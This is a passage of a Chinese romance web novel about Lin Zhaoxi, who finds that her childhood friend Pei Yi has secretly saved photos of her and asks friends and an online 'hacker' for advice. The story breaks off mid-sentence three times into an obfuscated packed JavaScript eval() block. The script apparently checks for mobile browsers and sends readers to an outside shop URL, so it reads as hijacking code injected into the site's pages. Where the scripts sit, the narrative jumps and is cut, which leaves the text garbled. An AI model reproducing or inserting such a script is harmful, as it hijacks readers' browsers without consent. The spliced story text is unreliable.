好不容易熬到下课,她在满教室的偷瞄中,硬着头皮,跟在那道清瘦挺拔的背影后,走进了办公室。 门在身后关上,隔绝了外界的噪音。 裴弈没绕去办公桌后面,而是在靠窗的文件柜取出一个厚实的大信封,递过来。 “出版社寄到系里的,你的。”他语气平常得像在发作业。 林朝晞愣愣地接过,拆开。里面是两本崭新的漫画杂志,还有一张出版社的贺卡和一小笔稿费汇款单。 她的短篇,印成了铅字,安静地躺在散发着油墨香的纸页上。 “这……你帮我收的?”她抬头,眼睛亮起来,刚才的窘迫忘了大半。 “嗯。”裴弈应了一声,目光在她瞬间发光的脸上停了一秒,随即移开,走到办公桌后坐下,打开电脑,“没事就回去吧。” 预想中的质问没有到来。 “……哦,谢谢。”林朝晞抱着杂志,心里那根绷紧的弦一松,却又莫名觉得空落落的。 她走到门口,忍不住回头。 裴弈正低头看着手机,似乎在查阅消息,侧脸在显示屏的冷光下没什么表情,只是搭在手机边缘上的食指,极轻地敲了一下。 就一下。 像某种无意识的焦躁,又像在做一个微不足道的决定。 林朝晞眨眨眼,怀疑自己看错了。没敢多问,拉开门溜了出去。 - 回到家,林朝晞还沉浸在作品获奖的喜悦里。 想起裴弈早上说订了蛋糕,她难得勤快地钻进了厨房,提前淘米煮了饭。 做完这些,她把那两本杂志爱不释手地看了又看,然后随手放在茶几上,打算去尝一下那个蛋糕。 裴弈回来得比她预想的早。 钥匙转动的声音响起时,林朝晞正躲在厨房里,用送的塑料刀切下一小块蛋糕。蛋糕胚做的是应季的草莓馅,十分精致小巧。 她默默吃完,想着要不要给裴弈也切一块,放下刀走出厨房。 裴弈正坐在沙发上,一手端着杯子,一手翻着她放在茶几上的漫画杂志,指尖快速捻起纸张,随意浏览着。 忽然,他的目光定在某一页上。 十页的短篇小漫画,篇名是《春》,作者是日希。 漫画讲述的是一对青梅竹马一起长大,从陌生到亲密,在春天疏远和离别,最后再在春天重归于好的故事。 林朝晞一眼瞥见杂志社寄来的《漫星》被他摊开在茶几上。 一想到他可能看到那个以他俩为原型的《春》,心就瞬间揪紧,急慌慌地大步走过去,埋怨着:“呀,你怎么不经我同意就看我的书!” 她的手刚要触及那书,就蓦地僵住。 啊啊啊!他怎么正好在看这一页!!! 裴弈抬眸,看向她的目光里泛着极浅的调笑,悠悠开了口:“没想到,你这么重视我。” 林朝晞难堪地歪了嘴,猛地抄起那本书合上,捂在胸前:“又不是我画的!” 他慢慢放下杯子,指尖在杯壁上轻敲了下,语调里漫着两分无辜:“我又没说是你画的。” “你!”她这才发现自己不打自招,窘迫难当地背过身去,赌气道,“你卑鄙!” 裴弈站起身,高大的影子笼罩过来,盖住了她的。一只冷白的手忽地伸到她跟前,抽走了那本杂志:“我还没看完呢。” 林朝晞心里陡然一跳,立马回过身去想抢他手里的杂志:“不准你看!” 裴弈手一抬,轻松躲过。她不甘心,整个人扑过去抢,混乱间不知被什么绊了一下,惊呼一声,直直朝他撞去—— 裴弈被她撞得向后踉跄,脊背陷进柔软的沙发里。而她收势不及,跟着跌下去,手忙脚乱地撑在他身上。 时间仿佛静止了。 她几乎整个人伏在他上方,胸膛下是他平稳却清晰的心跳,隔着一层衬衫布料,与她狂乱的心跳撞在一起。 鼻尖距离他的下颌只有几公分,能看清他唇边有一颗很淡的、她从未注意到的细小黑痣。 温热的呼吸交错,她闻到他身上干净的皂角香,混着几分冬天的冷冽,还有......一丝温热的皮肤气息。 他显然也愣住了,向来平静的眼底闪过一丝罕见的错愕,那双总是说着刻薄话的薄唇近在咫尺,微微抿着,下唇因方才的撞击而泛起一点健康的血色。 太近了。 近到她能看清他睫毛的颤动,看清他喉结无意识地滚动了一下。 心跳声在耳膜里擂鼓,震得她头晕目眩。 就在这时—— “咔哒。” 门口传来钥匙转动和开门的声音。 提着便利店袋子的陈震推门而入,嘴里还哼着不成调的歌:“小宝贝,快快睡,梦里会有……” 下一秒,他的目光精准捕捉到沙发上几乎叠在一起的两个人,哼唱戛然而止,仿佛被人掐住脖子的鸡。 四目相对。 陈震的眼睛瞬间瞪得溜圆,手里的塑料袋“啪嗒”掉在地上,几颗橙子滚了出来。 他僵了两秒,然后猛地抬手捂住自己的眼睛,动作快得带起一阵风,嘴里语无伦次地尖叫起来: “啊——我瞎了!我什么都没看见!我的眼睛它自己有想法,我马上就自戳双目!对不起对不起!你们继续!务必继续!” “砰!”大门被用力关上,隔绝了他逃也似的身影。 沙发上凝固的两个人,这才反应过来。 林朝晞“啊”地惊叫一声,手忙脚乱地从裴弈身上爬起来,脸颊瞬间涨红。 裴弈撑起身体,动作依旧利落,只是抬手松了松并无不妥的衬衫领口,垂落的睫毛下,眸光几番闪动,最后归于一片深潭似的静。 他没有立刻看她,而是先瞥了一眼被匆忙关上的大门,才将目光移回她通红的脸颊上。 “不、不是那样的!”林朝晞冲着大门方向喊,虽然陈震早已跑远。 她急得跺脚,又转头看向裴弈,发现他已经恢复了那副波澜不惊的样子。 “还不去解释?”他的语气居然有点看热闹的意味。 林朝晞又羞又恼,抓了抓头发,最终还是拉开门追了出去。楼道里没人,陈震应该是下去了。 她背靠上门,心跳还是慢不下来。 天呐,她居然差点就要亲到裴弈了,而且,刚才身体还贴着他的腿,这种亲密的接触让她相当不适应。 也…相当的害羞。 她咬紧了唇,脚趾蜷缩,在冷风中站了会儿,双颊才渐渐冷下来。 不行,这个误会必须解释清楚! 她深吸一口气,冲下楼,终于在单元门前抓住了同样满脸通红、正蹲在地上怀疑人生的陈震。 “陈震!” 陈震一见她,吓得差点跳起来,连连摆手:“嫂……啊呸!林妹子!你别过来!我发誓我什么都没说出去!我嘴巴严得很!” 林朝晞被他一声“嫂子”喊得差点原地去世,急得直跺脚:“你别乱叫!根本不是你想的那样!我们那是意外!” “懂!我都懂!”陈震一脸“我为你扛下所有”的悲壮表情,“意外!情不自禁的意外嘛!年轻人,干柴烈火,我理解!真的!” “不是!他是在抢我的书,然后我不小心绊倒了才摔他身上的!”林朝施急得语无伦次,试图还原现场。 陈震听完,露出了一个更加恍然大悟的表情,重重地点了点头,压低声音说: “哦~抢书play啊!你们年轻人真会玩!比我们那时候刺激多了!放心,我绝对保密!” 林朝晞:“……” 她看着陈震那双写满了“我懂的,你们继续,不用解释了”的真诚眼睛,绝望地发现,这个误会,可能比她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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林朝晞的指尖僵在屏幕上方。 照片一张张划过——她凌乱头发下瞪圆的眼、她咬着笔杆发呆的侧脸、她笑得没心没肺的大头照…… 甚至有一张,是她高中毕业典礼后,哭得鼻涕眼泪糊了一脸,被同学抓拍的丑照。她记得这张,她当时还发朋友圈自嘲过。 但裴弈存下来了。 不止这些。还有更早的,像素都有些模糊了:初中校运会,她跑完800米瘫在地上、满脸通红的鬼样子;小学毕业旅行,她戴着可笑的遮阳帽、对着镜头比耶的傻笑…… 他像一个沉默的收藏家,在她不知道的地方,将她散落在时光里的碎片,一点一点,悉数拾起,妥帖珍藏。 林朝晞的大脑一片空白,呼吸不知是几时放轻的。 这……是什么情况? 门外传来裴弈的声音:“林朝晞,可以吃饭了。” 她慌得手滑,差点把平板摔掉,手忙脚乱退出相册、锁屏,胡乱塞到桌角,指尖还在发颤,对着门外急声应道:“来了来了!” 胸腔里,心脏杂乱无章地突突跳动着。 她有些不小心窥见别人隐私的心虚感。还有些......不知何故的懵和无措。 他存起来的照片,大多是她公开发在社交平台的,或是共同好友拍了发出来的。 唯有几张是她从没见过的:一张是上次煮糊饭后,她皱着眉鼓着腮帮子收拾灶台的样子,角度正是厨房门口; 另一张是她赶作业熬累了趴在桌上睡着,唇角还挂着一痕清亮的口水。 他为什么要存这些?还存了这么多,连她自己都随手删掉的日常、糗态,他都一张张妥帖收着。 饭桌上的饭菜冒着热气,裴弈已经坐在她对面。她看着他低垂的眉眼,那副一切如常的模样。 忽然觉得,眼前这个认识了十几年的人,陌生得让她心慌。 22. 问问 【就是 我发现 我发小 “你刚说要借我什么?”他不经意一问。 林朝晞夹菜的手停在半空中,呼吸一滞,心脏慌乱地重跳了一拍:“呃,平板。” 话音落,她见裴弈没什么特别的反应,这才缓了口气,继续吃饭。 就在她刚往嘴里扒了口米饭时,余光突然瞥见裴弈似乎整个人凝滞了一拍。 她心不在焉地嚼着饭菜,试探地抬眸看去一眼。 裴弈原本半垂的眼睑忽然抬起,目光猝不及防地跟她撞了个正着。 林朝晞一激动,猛地呛了一下,连忙捂着嘴,喉间的痒意翻涌,下意识想起身躲去厨房,却被他的声音叫住:“慢点吃,没人跟你抢。” 她手握成拳,抵在唇边,缓了好一会儿,才僵硬地扯出一个笑:“哎呀,吃太急了。” 随即埋头苦吃饭。 这顿饭,她吃得异常心慌意乱,而对面的裴弈,也一反常态地,没有像平时那样跟她聊学习或同学的话题。 他只是安静地吃着饭,但林朝晞能感觉到,他那看似随意的目光,总是不经意地落在她身上,带着一种让她坐立难安的审视。 “今天的排骨,不喜欢?”他忽然开口,声音平淡。 “没、没有!好吃!”林朝晞立刻摇头,夹起一块排骨塞进嘴里,以示清白。 “是么,”他放下筷子,好整以暇地靠在椅背上,目光落在她脸上,唇角勾起一个极浅的弧度,“那你为什么从刚才开始,就一直不敢看我?” 林朝晞的心脏咯噔一下,差点被嘴里的骨头噎住。 “我哪有!”她强装镇定地反驳,眼神却控制不住地飘向天花板。 “我今天…”他拖长了尾音,慢悠悠地说,“好像也没有对你说什么奇怪的话吧?” 那双深邃的眼眸像一张网,将她牢牢收紧。林朝晞知道他指的是上次看猫片的话,脸颊缓缓漫上热度,根本不敢和他对视。 “我吃饱了!”她猛地放下筷子,像要逃离审判现场一样弹射起身,“我约了朋友打游戏!” “是么,”他看着她慌不择路的背影,不紧不慢地补了一句,“用我的平板打?” 林朝晞的脚步瞬间僵住,整个人像被点了穴。感觉到背后的视线,带着洞悉一切的穿透力,让她无所遁形。 她心虚地半侧过头,傻笑一声,试图蒙混过关:“嘿,你慢慢吃。” 话音落,她倏地钻进了房间,甚至鬼祟地反锁了门。 门外很安静,他似乎还在吃饭。 林朝晞心事重重地皱紧了眉头,书桌上那个属于他的平板还安静地躺在那儿。 她的视线堪堪扫过一下,就觉得它很扎眼,下意识地移开。 裴弈,不是无聊到会存朋友所有照片的人。 她脑海中闪过他的很多举动……他突然要和她一起住,突然帮她写作业,突然学习做饭。 甚至,还把饭藏起来不给别人吃。 原来…… 都是有原因的吗? 林朝晞站在门后,不知站了多久,想了多久,直到门外传来裴弈收拾碗筷的声音,她才惊醒般,拿着手机躲上床。 被子盖过半张脸,她温热的呼吸吹在被沿,打了个转儿又兜回来,拂过她的脸,带起一片温热的湿意。 应该只是巧合吧?那可是裴弈诶,那么聪明的人,不是应该喜欢学霸吗?他也一直都嫌弃她啊…… 她想到那天他捏着她的脸,说,他也可以喜欢笨蛋的话。 他居然是那个意思吗?! 林朝晞一时害羞无措,将被子蒙过了头。 黑暗里,氧气逐渐稀薄,她紧闭双眼,细睫轻颤,脸颊不知是缺氧还是紧张的,胀热得紧。不用看也知道,一定很红。 不会吧不会吧—— 她在被子里闷到难以呼吸,才再次掀开,露了唇鼻出来。外边的空气冰凉,沁得人心发凉。 她需要找个人问问。 点开手机,林朝晞先是给赵晓棠发了消息:【我问你】 赵晓棠回得很快:【怎么了?和你的网友见面了?】 林朝晞无视了她提到的日,而是径直自说自话:【如果一个男生,在手机里存了你从小到大的照片,是什么意思?】 赵晓棠:【这你也要问?】 林朝晞看见回复的同时,心里猛地收紧了一下。 赵晓棠:【不过是谁啊?存了你从小到大的照片??】 林朝晞:【真的就只有那一个意思吗?还有没有可能,是觉得太搞笑了,时不时想拿出来笑一笑?】 她把消息发出去,自己都沉默了。 太牵强了。 赵晓棠:【。。。。。】 赵晓棠:【你以为你是憨豆先生啊?!】 “好吧……”林朝晞把回复脱口而出,有些力竭地松开了手机。 手机还在震动着,她余光扫过,是赵晓棠在追问她,存她照片的是谁。 她没有理会,而是不愿面对似的,闭上眼睛。 裴弈抽屉里那枚她画的Q版小人浮现在脑海。 原来他撕她作业,是因为喜欢她?她随手画的他,他想收藏? 一时间,“暗恋”这个她原来认为跟裴弈八竿子打不到一块去的词语,在此刻,被迫贴在了他身上。 裴弈。居然会暗恋人。 难以置信。 而且,那个人还是她? 林朝晞蓦地睁开眼,觉得赵晓棠神经那么粗,说的答案不一定是对的。这种事,应该要多问几个人才对。 她立马就想到刚帮助自己破解难题的黑客大神——日。 她拿起手机,点开□□,被窝里,屏幕冷光映在她侧脸,在她眼下投下一片睫毛的阴翳。 对话还停留在早上赵晓棠乱发出去的【要见面吗?】。林朝晞紧张得咽了咽口水,才斟酌着打下字:【那个,大佬,在吗?】 消息发送成功的提示音在房间里回响。 厨房里的水声不知几时停止了。 她盯着自己发出去的消息约莫几分钟,日才不急不慢地回复道:【怎么?】 林朝晞:【有个很私人的问题想问一下你,可以吗】 日:【嗯。是什么?】 林朝晞的大拇指不停地在手机边缘摩挲。不知怎的,她居然觉得日好像出奇的有耐心。 如果是平时,他只会发一个问号吧? 林朝晞:【就是,如果】 她消息发了一半,又停下。思考着到底是要直接说“她发小存她照片”,还是绕个弯子说,“她有个朋友,被发小存照片”? 她看着对话框,目光放空,脑海里反复纠结。 日先等不住了,发了个:【?】 她下意识地咬了咬唇。好像这两种说法的差别,不是很大啊?因为一般说“我有个朋友”,就是说自己…… 林朝晞:【就是】 林朝晞:【我发现】 林朝晞:【我发小】 林朝晞:【好像暗恋我】 她把一句完整的话拆分成了四份来说。 好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093800|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像这么发出去,就可以削减一些这整句话给她带来的震撼似的。 日那边安静了会儿。 日:【为什么这么说?】 林朝晞似乎等他这个问句等了很久,手指在屏幕上噼里啪啦地响着: 【因为】 【他】 【手机里全是我的照片】 【从小学开始到最近的,都有!】 日又静了会儿。 林朝晞忍不住催促道:【不过,你说,是不是也不一定?说不定他是觉得我蛮好笑的,才存的?】 【你要看我的照片吗?有些真的蛮好笑的】 日:【哦?】 日:【发来看看。】 林朝晞愣住了。大佬的关注点是不是有点歪?现在是看照片的时候吗? 但她还是从自己手机里翻出那张高中毕业哭成狗的丑照,发了过去。 日:【……】 日:【确实挺好笑的。】 日:【你发小品味不错。】 林朝晞看着回复,气得鼓起了腮帮子。这人怎么还跟着起哄啊! 林朝晞:【你别笑了!说正事!这到底是不是暗恋啊?!(小猫抓狂.gif)】 日:【是又怎么样,不是又怎么样?】 “啊~~~”林朝晞在看见回复的瞬间,情不自禁地小声呐喊起来,微颤的声音里带着点恐慌。 林朝晞:【当然不一样啊!如果是的话,我以后要怎么面对他啊!】 林朝晞:【就是,你能不能懂,这就像,你突然发现你姐姐暗恋你】 林朝晞:【还是从小欺负你到大的姐姐】 日那边沉默了很久,久到林朝晞以为他掉线了。 日:【你真的只把他当家人?】 林朝晞盯着那行字,心跳漏了一拍。 她想反驳,想说“当然”,但不由得想起梦里那个滚烫的拥抱,想起把他按在沙发上时,自己那闪过一瞬的幻想。 她真的,只把他当家人吗? 就在她心乱如麻时,对方又发来一条消息,带着一种恶劣的、看热闹不嫌事大的语气。 日:【要不,你直接去问问他?】 日:【就问:你是不是暗恋我?】 日:【看看他什么反应。】 日:【说不定,有惊喜。^_^】 惊喜? 这明明是惊吓! 林朝晞看着屏幕上那个带着笑脸的表情符号,只觉得头皮发麻。 就是给她一百个胆子,她也不敢去问裴弈。那画面,光是想象一下,就足够让她原地去世了。 想到裴弈平时的那些照顾,可能都带着不纯的目的。她既惶恐,又有一层隐秘的窃喜。 她需要冷静一下。 对,冷静。 林朝晞深吸一口气,从床上爬起来,决定用画画来转移注意力。 然而,当她拿起数位板,脑子里却全是裴弈那张清冷的脸,和那个iCloud同步了所有照片的平板。 什么都画不出来。 “啊——烦死了!”她抓了抓头发,烦躁地在房间里踱步。 不行,她得找点事做。 她想起她刚发的稿费,觉得在家办个小派对、用来转移注意力很不错。也感谢一下林泽前段时间的招待。 就这么定了!用忙碌来冲淡这一切! 林朝晞像是找到了救命稻草,立刻行动起来,在微信上建了个群,把林泽、陈震、赵晓棠都拉了进来,打算商量周末聚会的事。 23. 他吃醋了怎么办 林朝晞把群聊名称改成了:【日希大人的粉丝群(?????)?】 微信拉人建群不会弹通知。她在寂静的群里发出一条消息: 【家人们,周末都有空吗?我发稿费了,来我家聚一下,吃火锅庆祝怎么样?】 发完消息,她看着群成员列表后的数字4,有些犹豫要不要拉裴弈进群。 如果真确定是在家里吃的话,裴弈肯定会知道的,到时直接叫他加入得了。 不知是不是因为窥破了他那份心思,林朝晞现在有点……怕他。 和从前的“怕”不一样,从前他对自己顶多是调侃,她只会有接不上话的窘迫和着急。 但现在,得知他的“欺负”都带着特殊感情,她不仅窘迫,还手足无措,怕他什么时候就突然碰她,也怕她动不动就脸红的样子很傻。 明明是他先动心,怎么反倒成了她整天慌慌张张的? 她咂咂嘴,决定还是不拉裴弈进群。 到时候再神秘兮兮地宣布,说不定能在他那张总是淡定的脸上,看到一点讶异的神色。 “嘻。”她不小心笑出了声。 手机震动,群里弹出一条新消息。 赵晓棠:【好耶,我要去】 陈震的消息紧随其后:【你要请客吗小画家?】 林朝晞:【是哒!】 陈震:【我有点能吃,不好意思加入你们】 … 几人闲聊了几句,林泽也回复说可以参加。商定好时间后,林朝晞确定和赵晓棠共同去买菜。 - 翌日。 林朝晞和裴弈说,晚上要在外面和同学吃饭,让他不用做饭。他只回了个“好”。 她跟着攻略来到一家新开的中餐厅。 这家店似乎在社交平台买了很多推广,不断有新客人踩着门槛进来,每次开门都带起一阵清脆的风铃声。 她一个人点了几道招牌菜。 服务员将菜呈上来,红艳的剁椒鱼头,香气扑鼻的小炒黄牛肉。 味道很好,但独自坐在喧嚣中央,每一口鲜美都仿佛隔着一层透明的膜。周围的笑语越是热烈,这份格格不入的疏离感就越是清晰。 结账时,外头已飘起细雨。 她走在回家的路上,舌尖还残留着辣椒灼烧后的微麻。 某个瞬间,昨晚餐桌的画面毫无预兆地撞进脑海:暖黄的灯光,简单的家常菜,以及他对面那道安静却存在感极强的注视。 ……居然觉得,还是和他一起吃饭更好。 这个念头让她脚步微顿。 明明出来就是为了躲开那种让她心慌的“温馨”的,此刻却…… 手机震动,是裴弈发来的消息:【在外面吃了什么?我看看。】 林朝晞盯着屏幕,指尖顿住。 裴弈……以前也会这样,带着一种理所当然的亲近,过问她生活的所有细节吗? 还是自己现在过于敏感,过度解读了呢? 她边走边给他发语音:【我吃了湘菜,忘记拍照啦~】 “咻”的一声,语音条发送成功。她鬼使神差地点开自己那条语音条,外放听了一遍。 听筒传出来的声音又细又软,带着点她自己都没察觉的、上扬的尾音。 太……娇了。 她手忙脚乱地撤回。 几乎同时,裴弈的回复跳出来:【好。】 页面上,他的“好”头顶着她那条“您已撤回一条消息”的灰色提示上,显得格外意味深长。 “回那么快……”她小声嘀咕,打字补救:【吃了香菜!】 点下发送,又发现自己打错字,急忙地再次撤回。 还没重发,他的消息已经发过来:【你声音怎么哑了?】 林朝晞蓦地停下脚步,细密的雨打湿了她的脸颊,落下的模糊水痕有些凉凉的湿意,耳尖却发起热来。 这都能听出来?! 而且又是秒回! 一股混杂着慌乱、得意和不可思议的热流窜遍全身。她下意识捂住发烫的耳朵,仿佛这样就能按住里面那擂鼓般的心跳。 从前不知道他有这层心思,所以从未留意过什么。 现在怀着那种揣测,看他做什么都忍不住往【他喜欢我】的方向去想。 林朝晞的心口像揣了只雀跃的兔子,怦怦直跳,连指尖都跟着发暖。 明明是他单恋她,她紧张个什么劲儿啊? 手机再次震动,她迅速拿出来看。 裴弈:【湘菜?】 ……连打错的字都要琢磨! 那股被人放在心尖上仔细掂量的感觉,让她脸上刚降下去的温度又卷土重来。 - 细雨延绵。 林朝晞回到家的时候,发梢沾着水汽,身上的衣服也被洇得深一块浅一块。 “噢,回来啦?”陈震顶着鸡窝头,睡眼惺忪地对她打招呼。 林朝晞应了声,余光瞥见裴弈的房门打开,身影出现在走廊,立刻垂下眼,假装专注地走向冰箱。 “你说的聚会是几点开始啊,我去和老板说一下请假。”陈震在客厅装着水,头也没回地对她说。 裴弈一听,脚步顿住:“什么聚会?” 林朝晞打开冰箱门的手一停,肩膀不由得耸了一下。 陈震的语气略带着几分天真和无辜:“啊你不知道吗?朝晞说周末要在家里聚会啊。” “朝晞?”裴弈轻声重复了一下这个称呼,目光落在陈震脸上。 “哦不对,”陈震不以为意地抬了抬眉梢,“是日希大人~哈哈。” 裴弈静静看着他,嘴角似乎极轻微地勾了一下,眼底却没什么笑意:“叫得挺亲密。” “诶?”陈震神情呆愣,眼珠迟疑地左右环顾。 林朝晞鞠着背,拿出一盒酸奶,而后轻合上冰箱门,力度之小,仿佛怕被身后的人注意到似的。 即使背对着,她也能清晰地感知到,身后那片空气陡然降温了。 “啊!是群名!”陈震恍然大悟,一拍手,“她群名叫日希大人的粉丝群!大家都这么叫!” 一条干燥柔软的毛巾忽然从天而降,盖住了林朝晞的脑袋。 眼前被遮得失了半片视野。一只温热的手隔着毛巾,力道不轻不重地搓揉着她微湿的头发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093801|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她忙转过身,只看得见裴弈的胸膛,毛衣领口露出一小片紧实的肌肤,随着他擦拭的动作,衣物来回扯动,锁骨和颈窝的线条清晰可见。 “是么,”他平淡的声音响在头顶,手上动作骤停,声音往下压了压,“你拼命瞒着我的笔名,就这么告诉外人了?” 声线压得虚的缘故,听上去有几分说不清道不明的暧昧。 林朝晞不禁往后退了一小步,不知是心虚还是紧张,心跳莫名的快。她张了张嘴,想说点什么,却不知道从何解释起。 画漫画的大网站就那么三两个。 她向他隐瞒笔名,是因为潜意识里觉得,只要说了,就会被他扒出来作品。 而对别人不设防,是因为觉得他们根本不会费这个心。 ……等等。 她这份“他一定会特别关注我”的笃定,究竟是什么时候在心里扎根的? “不、不是……”她静了半天,只挤出这苍白的两个字。 裴弈站在她面前,什么都没说,擦拭的手依旧停在她头顶。 陈震不知道什么时候消失的。客厅里只留下他们两个人。 她耳尖的热度顺着脖颈往上涌,心跳又快又沉。 这个陈震!关键需要他的时候怎么就跑掉了!明明是他闯的祸,却害她独自面对。 她默默在心里记了他一笔。 “我,没想那么多。”她解释的声音有些细弱。 “呵。”他毫无感情地呵了声,收回手,轻飘飘落下一句,“你喜欢就好。”随后转身回了房。 林朝晞被独自留在客厅,头上还盖着他的毛巾,傻了几秒,才一把抓下它,一股混合着委屈和焦躁的情绪涌上来:他生气了! “怎么办……”她钻进房间,拿出手机,思考着要找谁问问。 赵晓棠?她神经比水管还粗。 找……日? 他看起来比赵晓棠靠谱多了。 林朝晞忙不迭发去消息:【怎么办大佬,我惹人生气了】 手机像块砖,静了好一会儿。久到林朝晞心里的慌不断在发酵,到了她无法忍耐的地步。 记忆中,裴弈生气的次数寥寥可数。 她能想得起的有,她把他微信推给女生,还有……就是他出国前他们吵的那一架。 现在回想起来才知道,他为什么不高兴她把微信推出去。 当时她好像也没有和他道歉,就是冷战了好几天,后面她主动搭话,他们就算和好了。 过往没有类似的实例可参考。 “哎呀……”她耷拉着脑袋,叹了口气,有些颓丧。 实在不行,问问赵晓棠吧,她不是报了个恋爱班吗。 她点开赵晓棠的对话框:【如果一个男生喜欢你,而你不小心惹他生气了,该怎么说才能和好呢?】 赵晓棠回得超快:【冲上去亲他的嘴啊!(≧?≦)?】 林朝晞盯着这行字,脸上刚刚下去的热度再次爆炸,一把将手机屏幕扣在胸口,仿佛这样就能遮住那句石破天惊的话。 “赵、晓、棠——!!!”她咬着牙,从齿缝里挤出这三个字,却连耳根都红透了。